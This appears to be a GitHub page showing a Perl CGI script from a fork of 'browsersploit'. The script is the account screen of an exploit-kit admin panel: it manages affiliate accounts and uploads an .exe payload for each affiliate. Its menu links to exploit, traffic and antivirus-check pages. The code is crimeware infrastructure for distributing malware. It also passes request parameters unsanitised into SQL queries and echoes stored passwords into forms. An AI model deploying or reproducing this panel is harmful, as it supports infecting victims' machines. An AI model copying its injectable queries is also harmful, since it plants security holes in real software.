forked from julienbedard/browsersploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathxplprograms.pl
287 lines (246 loc) · 8.86 KB
/
xplprograms.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
#!/usr/bin/perl
# index.pl
use CGI;
use CGI::Carp qw/fatalsToBrowser warningsToBrowser/;
use CGI::Session ( '-ip_match' );
use File::Basename;
use DBI;
require "xpl/config.pl";
$db_name = 'DBI:mysql:' . $config{MysqlDB};
$dbh = DBI->connect($db_name, $config{MysqlUser}, $config{MysqlPass}) || die "Could not connect to database: $DBI::errstr";
$session = CGI::Session->load();
$q = new CGI;
$cook = $q->param('cook');
$selectuser = $q->param('selectuser');
$password2 = $q->param('password2');
$username2 = $q->param('username2');
$affid2 = $q->param('affid2');
$email2 = $q->param('email2');
$deluser = $q->param('deluser');
$vfy = $q->param('vfy');
$filename = $q->param("exetoload");
#limit file upload to 5mb
$CGI::POST_MAX = 1024 * 5000;
#limit filename
my $safe_filename_characters = "a-zA-Z0-9_.-";
#upload directory
my $upload_dir = 'xpl/dep/';
$req = "SELECT id,username,password,affid,email,cook,filez FROM affiliates WHERE username='$selectuser'";
$sth = $dbh->prepare($req);
$sth->execute() || die;
while(my @row = $sth->fetchrow_array)
{
$id = $row['0'];
$name = $row['1'];
$password = $row['2'];
$affid = $row['3'];
$email = $row['4'];
$cook = $row['5'];
$filez = $row['6'];
}
$sth -> finish;
if($vfy ne 'xplad')
{
print "Status: 301 Moved\nLocation: login.pl\n\n";
}
if($session->is_expired)
{
print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
print "Your has session expired. Please login again.";
print "<br/><a href='login.pl>Login</a>";
}
elsif($session->is_empty)
{
#print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
print "Status: 301 Moved\nLocation: login.pl\n\n";
}
else
{
#Select the Users from the DB
$req = "SELECT username FROM affiliates";
$sth = $dbh->prepare($req);
$sth->execute() || die;
while(my @row = $sth->fetchrow_array)
{
$people = $row['0'];
if($selectuser eq $people)
{
$choiceoption .= '<option selected="yes" value="xplprograms.pl?cook=' . $cook . '&selectuser=' . $people . '&vfy=xplad">' . $people . '</option>' . "\n";
}
else
{
$choiceoption .= '<option value="xplprograms.pl?cook=' . $cook . '&selectuser=' . $people . '&vfy=xplad">' . $people . '</option>' . "\n";
}
}
print $q->header(-cache_control=>"no-cache, no-store, must-revalidate");
if($password2 ne "")
{
#Insert the password parameter
$cryptpwd = substr(crypt($password2,substr($password2,0,2)),2);
$sql = "UPDATE affiliates SET password='$cryptpwd' WHERE id=$id";
$statement = $dbh->prepare($sql);
$statement->execute() or die "$DBI::errstr";
$stringtoprint2 = "<font color='red'>Password Updated</font><br>\n";
$password = $password2;
}
if($email2 ne "")
{
#Insert the username parameter
$sql = "UPDATE affiliates SET email='$email2' WHERE id=$id";
$statement = $dbh->prepare($sql);
$statement->execute() or die "$DBI::errstr";
$stringtoprint2 = "<font color='red'>Email Updated</font><br>\n";
$email = $email2;
}
if($deluser eq "yes")
{
#Delete username db row (affiliates)
$sql = "delete from affiliates where username='$selectuser'";
$statement = $dbh->prepare($sql);
$statement->execute() or die "$DBI::errstr";
#Delete username db row (options)
$sql = "delete from options where username='$selectuser'";
$statement = $dbh->prepare($sql);
$statement->execute() or die "$DBI::errstr";
#delete the file
unlink("xpl/dep/$filez");
$stringtoprint2 = "<font color='red'>User Deleted</font><br>\n";
}
if($filename ne "")
{
my ( $name, $path, $extension ) = fileparse ( $filename, '\..*' );
$filename = $name . $extension;
$filename =~ tr/ /_/;
$filename =~ s/[^$safe_filename_characters]//g;
if ( $filename =~ /^([$safe_filename_characters]+)$/ )
{
$sortthtyy = $1;
if($filename =~ m/.exe$/g)
{
$filename = $sortthtyy;
$safefile2 = '1';
}
else
{
$stringtoprint2 = '<font color="red">File ext not supported !</font><br>' . "\n";
}
}
else
{
$stringtoprint2 = '<font color="red">Filename contains invalid characters !</font><br>' . "\n";
}
}
if($safefile2 eq '1')
{
#delete oldfile
unlink("xpl/dep/$filez");
#upload file
my $upload_filehandle = $q->upload("exetoload");
open ( UPLOADFILE, ">$upload_dir/$filez" ) or die "$!";
binmode UPLOADFILE;
while ( <$upload_filehandle> )
{
print UPLOADFILE;
}
close UPLOADFILE;
$stringtoprint2 = '<font color="red">File have been successfully updated !</font><br>' . "\n";
}
if($selectuser ne "Admin")
{
$eraseuseroption = '<form method="post">' . "\n";
$eraseuseroption .= "<input type=\"hidden\" name=\"cook\" value=\"$cook\">\n";
$eraseuseroption .= "<input type=\"hidden\" name=\"selectuser\" value=\"$selectuser\">\n";
$eraseuseroption .= "<input type=\"hidden\" name=\"deluser\" value=\"yes\">\n";
$eraseuseroption .= "<input type=\"hidden\" name=\"vfy\" value=\"xplad\">\n";
$eraseuseroption .= "<input type=\"submit\" value=\"Delete User\"><br><br>\n";
$eraseuseroption .= "</form>\n";
$changeexeoption .= '<form method="post" enctype="multipart/form-data">' . "\n";
$changeexeoption .= '<font color=black>New exe: </font><input type="file" name="exetoload" /> <br>' . "\n";
$changeexeoption .= '<input type="hidden" name="cook" value="' . $cook . '">' . "\n";
$changeexeoption .= '<input type="hidden" name="selectuser" value="' . $selectuser . '">' . "\n";
$changeexeoption .= '<input type="hidden" name="vfy" value="xplad">' . "\n";
$changeexeoption .= '<input type="submit" value="Update Exe"><br><br><br>' . "\n";
$changeexeoption .= '</form>' . "\n";
}
indexalltab();
}
sub indexalltab
{
print <<THEHTMLINDEX;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml" lang="fr"><HEAD><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<TITLE>$config{NetName} - User Information</TITLE>
<LINK rel="stylesheet" type="text/css" href="style/style3.css" media="all">
</HEAD><BODY>
<DIV id="top_nav">
<DIV class="content">
<UL>
<LI><A href="xplindex.pl?cook=$cook&vfy=xplad" title="Home" class="Home">Home</A></LI>
<LI><A href="xplstats.pl?cook=$cook&vfy=xplad" title="Reports">Reports</A></LI>
<LI><A href="xplprograms.pl?cook=$cook&selectuser=Admin&vfy=xplad" title="Accounts">Accounts</A></LI>
<LI><A href="xploptions.pl?cook=$cook&selectuser=$selectuser&vfy=xplad" title="Exploits Options">Exploits</A></LI>
<LI><A href="xpltraffic.pl?cook=$cook&selectuser=$selectuser&vfy=xplad" title="Traffic Options">Traffic</A></LI>
<LI><A href="xplavs.pl?cook=$cook&selectuser=$selectuser&vfy=xplad" title="AVs Check">AV Check</A></LI>
<LI><A href="login.pl?action=logout" title="Log Out">Log Out</A></LI>
</UL>
</DIV>
</DIV>
<center>
<br><br><br>
<b>
<h2>[ Account Summary ]</h2>
<br>
<DIV id="main">
<DIV class="content">
<DIV id="pages">
<DIV id="home">
<DIV>
</DIV>
<br><br>
<h3>Contact Information</h3><br>
$stringtoprint2
<form method="post">
Select Username: <SELECT name="selectuser" ONCHANGE="location = this.options[this.selectedIndex].value;">
$choiceoption
</SELECT>
<input type="hidden" name="cook" value="$cook">
<input type="hidden" name="vfy" value="xplad">
</form><br>
$eraseuseroption
<form method="post">
<font color=black>Username:</font> $name <br>
<font color=black>AffID:</font> $affid <br>
<font color=black>Email:</font> <input type="text" name="email2" value="$email"> <br>
<input type="hidden" name="cook" value="$cook">
<input type="hidden" name="selectuser" value="$selectuser">
<input type="hidden" name="vfy" value="xplad">
<input type="submit" value="Change Infos"><br><br><br>
</form>
<form method="post">
<font color=black>Password:</font> <input type="password" name="password2" value="$password"> <br>
<input type="hidden" name="cook" value="$cook">
<input type="hidden" name="selectuser" value="$selectuser">
<input type="hidden" name="vfy" value="xplad">
<input type="submit" value="Change Password"><br><br><br>
</form>
$changeexeoption
<br><br>
</DIV>
</DIV>
</DIV>
</DIV>
<br>
if you have questions or program request, contact us at <a href="mailto:$config{NetEmail}"> $config{NetEmail}</a>
<br><br>
</center>
<DIV id="footer">
<DIV class="content">
<DIV class="copyright">
<P><BR>
</DIV>
</DIV>
</DIV>
</body>
</html>
THEHTMLINDEX
}